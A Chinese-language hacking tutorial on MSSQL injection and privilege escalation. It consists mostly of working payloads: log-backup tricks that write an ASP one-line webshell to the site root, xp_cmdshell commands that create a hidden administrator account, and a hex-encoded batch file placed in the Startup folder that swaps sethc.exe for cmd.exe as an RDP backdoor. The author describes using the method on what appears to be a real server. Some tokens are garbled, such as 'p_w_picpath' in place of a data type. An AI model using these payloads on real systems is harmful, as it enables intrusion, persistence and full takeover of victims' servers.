字符型

 

1.恢复当前库

;alter database 当前库 set RECOVERY FULL--

 

2.创建表cmd

;create table cmd (a p_w_picpath)--

 

3.备份当前库到D:\cmd1

;backup log 当前库 to disk = 'D:\cmd1' with init--

 

4.插入一句话代码到创建的表cmd

;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

 

5.备份一句话代码到站点根目录

;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

 

6.完成

';drop table 创建的表--

 

----------------------------------

 

数字型

 

1.恢复当前库

';alter database 当前库 set RECOVERY FULL--

 

2.创建表cmd

';create table cmd (a p_w_picpath)--

 

3.备份当前库到D:\cmd1

';backup log 当前库 to disk = 'D:\cmd1' with init--

 

4.插入一句话代码到创建的表cmd

';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

 

5.备份一句话代码到站点根目录

';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

 

6.完成

';drop table 创建的表--

 

--------------------------------

 

sa权限创建管理员用户

 

1.判断是否有注入;and 1=1 ;and 1=2 

;and user_name()='dbo' 判断当前系统的连接用户是不是sa

 

2.添加系统的管理员

;exec master.dbo.xp_cmdshell 'net user wk wk90 /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

 

___________________________________________________________________________________________



巧用差异备份DB_OWNER提权


 

巧用差异备份DB_OWNER提权



得到的DB_OWNER权限


想到的是差异备份



exec master..xp_dirtree c:,1,1



列目录


/*利用Url或者sql查询器Log备份一句话或Bat*/


 


alter database [master] set RECOVERY FULL--

create table cmd (a p_w_picpath)--

backup log [master] to disk = c:cmd1 with init--

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202


F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65


7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577


696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325


C646C6C63616368655C73657468632E657865202F790D0A)--

backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--

drop table cmd--



分析下语句


第一句



alter database [master] set RECOVERY FULL--



master 是数据库名字,一般db权限不行 换库名吧



create table cmd (a p_w_picpath)--



这句的意思建立一个表,表里面一个列,列的数据类型是p_w_picpath



backup log [master] to disk = c:cmd1 with init--



这句就是备份库master里面的log到c:cmd1


 


insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612


073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257


7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255


C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655


C73657468632E657865202F790D0A)--



这句就是在刚才建立的表cmd 列a 里面插入数据



130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207


3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577


696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225


5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865


5C73657468632E657865202F790D0A



16进制的批处理


处理原文是



@Echo off

@cd %windir%

@del dir /s /a sethc.exe

@copy %windir%system32cmd.exe %windir%system32sethc.exe /y

@copy %windir%system32cmd.exe %windir%system32dllcachesethc.exe /y



backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--


这句就是备份库master的log到启动项start.bat


里面有批处理



drop table cmd--



删除表


然后等管理登陆3389启动噢


我遇到的问题有


执行第二句的时间



create table cmd (a p_w_picpath)--



master提示拒绝没有权限

不能没创建表的权限就放弃吧

再想想折,我有他db权限.找个空白弄下就ok不是


在库test表test里面找到一个没数据的


这里用到俩命令


删除列



ALTER TABLE 表名 DROP COLUMN 列名



添加列



ALTER TABLE 表名 ADD 列名   VARCHAR(20)



我先执行了删除test里面的所有列


然后执行



ALTER TABLE test ADD a



然后用到的命令是



alter table

语句


网上找了几个实例



引用

--try 

create table a 

name nvarchar(45), 

price decimal (19,4), 

charge varchar(10) 

1、nvarchar类型的长度都变为60 

alter table a 

alter column name nvarchar(60) 

2、decimail类型的默认值变为0,小数点后保留2位数 

--若默认值已存在先删除后添加 delete constraint 约束名 

alter table a 

add constraint df_a_price default 0 for price


alter table a 

alter column price decimal(19,2) 

3、将所以varchar列示类型变为Nvarchar 

alter table a 

alter column charge nvarchar(60)



我在这里执行的是



alter table [test].[dbo].[test]

alter column a p_w_picpath



意思是改变库test表test列a的数据类型是p_w_picpath



然后稍微改下命令



alter database [test] set RECOVERY FULL--

backup log [test] to disk = c:cmd1 with init--

insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7


3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642


E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257


7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6


C63616368655C73657468632E657865202F790D0A)--

backup log [test] to disk = C:Documents and Settingsadministrator「开始」菜单\程序启动\start.bat--



执行成功返回



引用

已处理 2 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。

BACKUP LOG 操作成功地处理了 2 页,花费了 0.125 秒(0.081 MB/秒)。


(所影响的行数为 1 行)


已处理 1 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。

BACKUP LOG 操作成功地处理了 1 页,花费了 0.095 秒(0.037 MB/秒)。



ok


看到这里就成功了 然后看下


exec master..xp_dirtree C:Documents and Settingsadministrator「开始」菜单\程序启动\,1,1


然后返回


 



成功了

哈哈等管理吧

这里补充的我比较笨蛋.以上是我在本机测试好久的,备份有的库有时间批量命令写不进去的

那样是没有用的



这样才是成功的


大牛绕过呵呵,刚开始的时间想过放弃,不过一步一步摸索不懂的查gg,嘿,真搞定了.

搞这个不容易,他这个1433只针对一台服务器开放,我费了好大事才搞定那个,然后朋友写了个dll(端口映射,系统服务,比较方面,上3389很容易发现).

这才copy出表,本地能测试.